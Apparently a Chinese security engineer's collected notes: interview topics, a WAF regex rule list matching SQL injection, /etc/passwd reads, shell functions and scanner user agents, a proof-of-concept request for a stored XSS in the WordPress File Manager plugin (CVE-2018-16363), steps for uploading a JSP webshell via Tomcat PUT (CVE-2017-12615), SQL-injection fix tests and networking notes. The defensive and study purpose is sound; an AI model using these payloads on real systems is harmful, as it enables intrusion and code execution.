不同维度面试安全工程师广度和深度

主机漏洞:提权漏洞、脏牛、bash破壳、幽灵(组合利用姿势)
框架漏洞:Thinkphp、Sprint、Struts2等
中间件漏洞:IIS、Apache、nginx、tomcat、weblgic、JBoss、docker、ImageMagick;
WEB漏洞:sql注入、xss、跨域漏洞、csrf、ssrf、盲注命令执行、XXE、反序列化(原理、检测方法、利用饶人技巧、修复方案)
APP漏洞:常见漏洞、关注点,webview组件漏洞
代码审计:审计思路,遇到的多个pop链和函数特性
内网渗透:内网常见漏洞,如何判断域控主机,拿到域内机器后思路
SDL流程:在那些节点实战过,业务紧急上线怎么做SDL
最近漏洞:关注的新漏洞及原理

web可疑访问监控规则waf规则

args:

\.\./
\:\$
\$\{
select.+(from|limit)
(?:(union(.*?)select))
having|rongjitest
sleep\((\s*)(\d*)(\s*)\)
benchmark\((.*)\,(.*)\)
base64_decode\(
(?:from\W+information_schema\W)
(?:(?:current_)user|database|schema|connection_id)\s*\(
(?:etc\/\W*passwd)
into(\s+)+(?:dump|out)file\s*
group\s+by.+\(
xwork.MethodAccessor
(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|preg_\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\(
xwork\.MethodAccessor
(gopher|doc|php|glob|file|phar|zlib|ftp|ldap|dict|ogg|data)\:\/
java\.lang
\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\[
\<(iframe|script|body|img|layer|div|meta|style|base|object|input) (onmouseover|onerror|onload)\= cookies: \.\./ \:\$ \$\{ select.+(from|limit) (?:(union(.*?)select)) having|rongjitest sleep\((\s*)(\d*)(\s*)\) benchmark\((.*)\,(.*)\) base64_decode\( (?:from\W+information_schema\W) (?:(?:current_)user|database|schema|connection_id)\s*\( (?:etc\/\W*passwd) into(\s+)+(?:dump|out)file\s* group\s+by.+\( xwork.MethodAccessor (?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|preg_\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\( xwork\.MethodAccessor (gopher|doc|php|glob|file|phar|zlib|ftp|ldap|dict|ogg|data)\:\/ java\.lang \$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\[ post: select.+(from|limit) (?:(union(.*?)select)) having|rongjitest sleep\((\s*)(\d*)(\s*)\) benchmark\((.*)\,(.*)\) base64_decode\( (?:from\W+information_schema\W) (?:(?:current_)user|database|schema|connection_id)\s*\( (?:etc\/\W*passwd) into(\s+)+(?:dump|out)file\s* group\s+by.+\( xwork.MethodAccessor (?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|preg_\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\( xwork\.MethodAccessor (gopher|doc|php|glob|file|phar|zlib|ftp|ldap|dict|ogg|data)\:\/ java\.lang \$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\[ \<(iframe|script|body|img|layer|div|meta|style|base|object|input) (onmouseover|onerror|onload)\= urls: \.(svn|htaccess|bash_history) \.(bak|inc|old|mdb|sql|backup|java|class)$ (vhost|bbs|host|wwwroot|www|site|root|hytop|flashfxp).*\.rar (phpmyadmin|jmx-console|jmxinvokerservlet) java\.lang /(attachments|upimg|images|css|uploadfiles|html|uploads|templets|static|template|data|inc|forumdata|upload|includes|cache|avatar)/(\\w+).(php|jsp) user_agent: (HTTrack|harvest|audit|dirbuster|pangolin|nmap|sqln|-scan|hydra|Parser|libwww|BBBike|sqlmap|w3af|owasp|Nikto|fimap|havij|PycURL|zmeu|BabyKrokodil|netsparker|httperf|bench| SF/)

CVE-2018-16363 WordPress Plugin File Manager 2.9 – storage XSS

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16363

file:file_folder_manager.php
code:set_transient( ‘wp_fm_lang’, $_GET[‘lang’] , 60 60 720 );

file:lib\wpfilemanager.php
code:var fmlang = ““;

poc:

request

[code]
GET /blog/wp-admin/admin.php?page=wp_file_manager&lang=zh_CN<script>alert(1234567890)</script> HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: wordpress_5aa6a4a225f40db86349342d0826a90c=admin%7C1535989327%7CKko2gM0P0FjhgEpNTIqRneg9Ky7aKaqWloRFGrsyw6q%7C71f1ed8075d5a34b82548bb0a92e6b6338ecf8fba0adc57da627d55f07693220; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_5aa6a4a225f40db86349342d0826a90c=admin%7C1535989327%7CKko2gM0P0FjhgEpNTIqRneg9Ky7aKaqWloRFGrsyw6q%7C5fbc26f57a4eaf15c60c5840d5fa14f296e3bb1c66e567358d761a3963d1bb82; wp-settings-1=deleted; wp-settings-time-1=1535770900; PHPSESSID=501108188d8569138517f08ba9741c92
Connection: close
Upgrade-Insecure-Requests: 1
[/code]

response

[code]
HTTP/1.1 200 OK
Date: Sat, 01 Sep 2018 15:55:34 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.2.17
X-Powered-By: PHP/5.2.17
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 47316



………”;var vle_nonce = “863ad12aa7”;………
[/code]

Exploit Title: WordPress Plugin File Manager 2.9 – storage type XSS
Exploit Author: ly55521
Google Dork: N/A
Type: XSS
Date: 2018-09-02
Vendor Homepage: N/A
Software Link: https://wordpress.org/plugins/wp-file-manager/
Affected Version: < 3.0
Tested on: Kali OS
CVE : CVE-2018-16363

Related links:

Update record: http://plugins.trac.wordpress.org/changeset/1936043
EXP: http://blog.51cto.com/010bjsoft/2171087
Loophole notification: https://wordpress.org/support/topic/security-concern-6/#post-10655739
safelink:https://wordpress.org/plugins/wp-file-manager/

CVE-2017-12615【tomcat错误配置,任意文件上传】

一. 漏洞简介

漏洞名称:CVE-2017-12615  “远程代码执行漏洞”

漏洞描述:Tomcat CVE-2017-12615远程代码执行漏洞 / CVE-2017-12616信息泄漏。
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定条件下,攻击者可以利用这两个漏洞,获取用户服务器上 JSP 文件的源代码,或是通过精心构造的攻击请求,向用户服务器上传恶意JSP文件,通过上传的 JSP 文件 ,可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险。
CVE-2017-12616:信息泄露漏洞
当 Tomcat 中使用了 VirtualDirContext 时,攻击者将能通过发送精心构造的恶意请求,绕过设置的相关安全限制,或是获取到由 VirtualDirContext 提供支持资源的 JSP 源代码。
CVE-2017-12615:远程代码执行漏洞
当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。
通过以上两个漏洞可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险。

影响版本:
CVE-2017-12616影响范围:Apache Tomcat 7.0.0 – 7.0.80
CVE-2017-12615影响范围: Apache Tomcat 7.0.0 – 7.0.79

漏洞评级:高危

影响范围:RT
 
 
参考链接:
CVE-2017-12615:
https://tomcat.apache.org/security-7.html
http://tomcat.apache.org/security-7.html#Fixed_in_Apache_Tomcat_7.0.81

二. 利用条件

CVE-2017-12615漏洞利用需要在Windows环境,且需要将 readonly 初始化参数由默认值设置为 false,经过实际测试,Tomcat 7.x版本内web.xml配置文件内默认配置无readonly参数,需要手工添加,默认配置条件下不受此漏洞影响。
CVE-2017-12616漏洞需要在server.xml文件配置VirtualDirContext参数,经过实际测试,Tomcat 7.x版本内默认配置无VirtualDirContext参数,需要手工添加,默认配置条件下不受此漏洞影响。
根据绿盟最新研究在linux下也有影响,建议关闭PUT方法。

三. 漏洞测试

3.1白盒测试

开发人员检查是否使用受影响范围内的Apache Tomcat版本

3.2黑盒测试

1.首先搭建tomcat环境,需要预装下jdk,安装流程和配置参考:
http://www.ouyaoxiazai.com/soft/stgj/133/45254.html
搭建成功后,访问 http://10.74.53.11:8080/
2.开启PUT方法
安装好后,修改 C:\Program Files\Apache Software Foundation\Tomcat 7.0\conf\web.xml 配置文件,增加 readonly 设置为 false

3.然后使用burpsuite抓包把GET方法转为PUT方法写入数据,如下:

注意:PUT路径要用/结束,写入成功后,会返回201或者200,如果返回404说明没有写/

写入成功后,在服务器的 web目录,如下
C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT增加了test.jsp文件

4.访问上传的木马 http://10.74.53.11:8080/test.jsp?pwd=023&i=whoami

复现参考:https://www.secfree.com/article-399.html
POC&EXP参考:
https://github.com/fupinglee/MyPython/blob/92394ff98b02c1d81361ce2d5ae9f53f527a2a6b/exploit/CVE-2017-12615/CVE-2017-12615.py?from=groupmessage&isappinstalled=1

3.3其他补充

其他

四. 解决方案

根据业务评估配置readonly和VirtualDirContext值为Ture或注释参数,禁用PUT方法并重启tomcat,临时规避安全风险,升级为最新版本;
注意: 如果禁用PUT方法,对于依赖PUT方法的应用,可能导致业务失效。
官方已经发布Apache Tomcat 7.0.81 版本修复了两个漏洞建议升级最新版。

php,python使用%s,%d修复sql注入漏洞

原以为底层%s格式化字符串和pdo实现类似,实际测试了下不是一回事。

php测试代码

//$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$sql = sprintf("SELECT * FROM users WHERE id='%s' LIMIT 0,1",$id);//%d 可以修复
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

web.py测试代码

import web
import MySQLdb
urls = (
    #'/', 'index' #1,2
    '/(.*?)', 'index'
)
class index:
    def GET(self,name):
        parame = web.input()
        conn = MySQLdb.connect(
        host = 'localhost',
        user = 'root',
        passwd = 'root',
        db = 'security',
        port = 3306,
        charset ='utf8',
        )
        cur = conn.cursor()
        #SELECT * FROM users where id=1
        #sqli_select = "SELECT password FROM users WHERE id = '%s'" % (parame.name) #错误写法
        #sqli_select = ("SELECT password FROM users WHERE id = '%s'",(parame.name)) #正确写法,使用元祖传给execute函数
        sqli_select = "SELECT password FROM users WHERE id = '%d'" % (parame.name) #正确写法
        cur.execute(sqli_select)
        return cur.fetchone()            
if __name__ == "__main__":
    app = web.application(urls, globals())
    app.run()

PDO预编译方式是分为两次发送数据,一次sql模版, 一次参数防止sql注入。

网络工程师学习笔记

网络工程师学习笔记,唉,虽然不考了,备忘下吧

CRC效验码

X的4次方 + X的一次方 + 1

1.有次方的写1,没有的写0,最高次方为4,算出4个二进制数;
2.靠左减法;(模二除法 相同为0,不相同为1)
3.把余数补后面去;

子网掩码计算:
https://zhidao.baidu.com/question/332665043.html

1.将主机数目 从十进制数转化为二进制数,二进制是N位数;
2.N位数 就是 N个1,一共8位,其余用0补全;
3.把上面的数转换成十进制,对应网段位置。

ip地址 = 网络地址 + 主机地址;
网络地址是 ip地址的一部分,是代表一个子网
192.168.1.*

二进制 逻辑计算方法

按位与:只有1和1是1,其他都是0;真 True
按位或,只有0和0是0,其他都是1;假 False
网络地址 = IP地址的二进制 与 子网掩码的二进制 (为0和255的保持不变)

广播地址 = 网络地址 (二进制 1后面的0替换为1)
子网范围 就是 网络地址 -》 广播地址

子网能容纳的最大主机数: 广播地址 0 替换为1个个数为N,2的N次方 – 2(广播地址+网络地址)

原码:0代表整数,1代表负数,的符号位,后面不变
反码:正数不变,负数符号位不变,其他后面取反
补码:正数不变,负数符号位不变,加 1
移码:符号位取反